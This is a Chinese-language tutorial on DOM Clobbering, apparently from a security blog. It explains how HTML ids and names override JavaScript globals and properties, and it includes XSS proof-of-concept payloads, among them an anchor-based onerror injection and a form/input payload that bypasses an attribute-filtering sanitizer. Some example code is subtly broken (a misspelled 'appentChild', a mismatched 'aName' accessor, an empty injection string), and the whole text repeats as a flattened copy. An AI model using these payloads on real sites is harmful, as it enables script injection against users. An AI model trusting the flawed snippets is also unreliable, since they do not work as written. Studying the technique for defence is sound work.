DOM Clobbering详解
字数 1172 2025-08-22 12:23:36

DOM Clobbering 技术详解

什么是 DOM Clobbering?

简单定义

DOM Clobbering 是一种通过在页面中插入 HTML 代码,改变 JavaScript 中全局变量或对象属性的含义,从而永久改变 JavaScript 执行结果的技术。"Clobbering"一词指的是破坏原有的全局变量或对象属性。

根本原理

当 HTML 标签设置了 id 属性后,可以在 JavaScript 中直接通过 id 值访问该元素:

<input id=x>
<script>alert(x); // 输出: [object HTMLInputElement]</script>

如果 JavaScript 中已存在同名全局变量或对象属性 x,则该变量的含义会被破坏。

利用前提

  1. 被攻击页面允许用户插入 HTML 代码
  2. 页面的 JavaScript 脚本使用了类似 a.b.c 层级结构的全局变量或对象属性引用来修改页面 DOM

多层引用结构的构造

二层结构

当多个标签具有相同 id 值时,浏览器会自动形成 HTMLCollection,可以通过数字索引或 name 值访问集合中的元素:

<input id=idValue name=x>
<a href="//clobbering" id=idValue name=n>dom clobbering</a>
<script>
    alert(idValue);         // 输出: [object HTMLCollection]
    alert(idValue.x);       // 输出: [object HTMLInputElement]
    alert(idValue[1]);      // 输出: http://clobbering/
    alert(idValue.aName);   // 输出: http://clobbering/
</script>

注意:使用 id 值访问锚标签时返回的是 href 属性值。

三层及以上结构

利用 iframe 和 srcdoc 可以构造更高层级的结构:

<iframe name=a srcdoc="
<iframe name=b srcdoc='<a id=c name=d href=cid:Clobbered>test</a>'>"></iframe>
<script>setTimeout(()=>alert(a.b.c),500); // 输出: cid:Clobbered</script>

<iframe name=a srcdoc="
<iframe name=b srcdoc='<a id=c><a id=c name=d href=cid:Clobbered>test</a>'>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500); // 输出: cid:Clobbered</script>

注意:需要使用 setTimeout 等待 iframe 渲染完成。

带限制的层级结构

不使用锚标签时,可以通过 HTML 规范中定义的属性名进行引用:

<div id=idValue align=clobbering>
<script>
    alert(idValue.align);   // 输出: clobbering
</script>

不同的 id 值组合形成 HTMLCollection

表单与表单控件、表单与图像标签间可以形成 HTMLCollection:

<form id=idValue1 name=m>
<input id=idValue2 value="clobbering">
<script>
alert(idValue1);                // 输出: [object HTMLFormElement]
alert(idValue1.idValue2.value); // 输出: clobbering
</script>

利用实例

二层结构破坏脚本中的对象引用

<html>
<body>
    <a id=name1><a href='cid:"onerror=alert(1)//' id=name1 name=name2> <!-- 攻击者插入 -->
</body>
</html>

<script>
    let outdiv = document.createElement("div");
    let image = '';
    outdiv.innerHTML = image;
    document.body.appentChild(outdiv);
</script>

破坏脚本中的属性(property)引用

目标页面代码:

<html>
<body>
    <form action="" id="form1">
    <input type="text" name="payload" style="width: 500px;height:60px;"><br>
    <input type="button" onclick=formSubmit() value="submit">
    </form>
</body>
</html>
<script>
function DomBFS(element, callback) {
    var queue = []; 
    while(element) {
        callback(element);
        if(element.children.length !== 0) {
            for (var i = 0; i < element.children.length; i++) {
                queue.push(element.children[i]);
            }
        }
        element = queue.shift(); 
    }
}

let blockAttributes = ["onclick", "onerror"];
function formSubmit() {
    let f = document.getElementById("form1");
    let sandbox = document.implementation.createHTMLDocument('');
    let root = sandbox.createElement("div");
    root.innerHTML = f.payload.value;

    DomBFS(root, function(element){
        for(var a = 0; a < element.attributes.length; a+=1) {
            let attr = element.attributes[a];
            if(blockAttributes.indexOf(attr.name) != -1) {
                element.removeAttribute(attr.name);
                a -= 1;
            }
        }
    })
    document.body.appendChild(root);
}
</script>

Payload:

<form onclick=alert(1)><input id=attributes>Click me

分析:

  • 目标页面在对标签属性进行过滤时调用了 element.attributes.length
  • payload 中设置了 id 为 attributes 的 input 标签,破坏了过滤代码中的 attributes 含义
  • 当遍历到 form 标签时,element.attributes 引用的是 input 标签而非 form 的属性
  • input 标签的 length 属性未定义,返回 undefined,跳过过滤

参考资料

  1. Dom Clobbering by Gareth Heyes
  2. DOM Clobbering strikes back by Gareth Heyes
  3. XSS in GMail's AMP4Email via DOM Clobbering by Michał Bentkowski
  4. Dom clobbering by Web Security Academy
  5. Unsafe Names for HTML Form Controls by Garrett Smith
  6. 浅谈DOM遍历 by jh903
DOM Clobbering 技术详解 什么是 DOM Clobbering? 简单定义 DOM Clobbering 是一种通过在页面中插入 HTML 代码,改变 JavaScript 中全局变量或对象属性的含义,从而永久改变 JavaScript 执行结果的技术。"Clobbering"一词指的是破坏原有的全局变量或对象属性。 根本原理 当 HTML 标签设置了 id 属性后,可以在 JavaScript 中直接通过 id 值访问该元素: 如果 JavaScript 中已存在同名全局变量或对象属性 x,则该变量的含义会被破坏。 利用前提 被攻击页面允许用户插入 HTML 代码 页面的 JavaScript 脚本使用了类似 a.b.c 层级结构的全局变量或对象属性引用来修改页面 DOM 多层引用结构的构造 二层结构 当多个标签具有相同 id 值时,浏览器会自动形成 HTMLCollection,可以通过数字索引或 name 值访问集合中的元素: 注意:使用 id 值访问锚标签时返回的是 href 属性值。 三层及以上结构 利用 iframe 和 srcdoc 可以构造更高层级的结构: 注意:需要使用 setTimeout 等待 iframe 渲染完成。 带限制的层级结构 不使用锚标签时,可以通过 HTML 规范中定义的属性名进行引用: 不同的 id 值组合形成 HTMLCollection 表单与表单控件、表单与图像标签间可以形成 HTMLCollection: 利用实例 二层结构破坏脚本中的对象引用 破坏脚本中的属性(property)引用 目标页面代码: Payload: 分析: 目标页面在对标签属性进行过滤时调用了 element.attributes.length payload 中设置了 id 为 attributes 的 input 标签,破坏了过滤代码中的 attributes 含义 当遍历到 form 标签时, element.attributes 引用的是 input 标签而非 form 的属性 input 标签的 length 属性未定义,返回 undefined,跳过过滤 参考资料 Dom Clobbering by Gareth Heyes DOM Clobbering strikes back by Gareth Heyes XSS in GMail's AMP4Email via DOM Clobbering by Michał Bentkowski Dom clobbering by Web Security Academy Unsafe Names for HTML Form Controls by Garrett Smith 浅谈DOM遍历 by jh903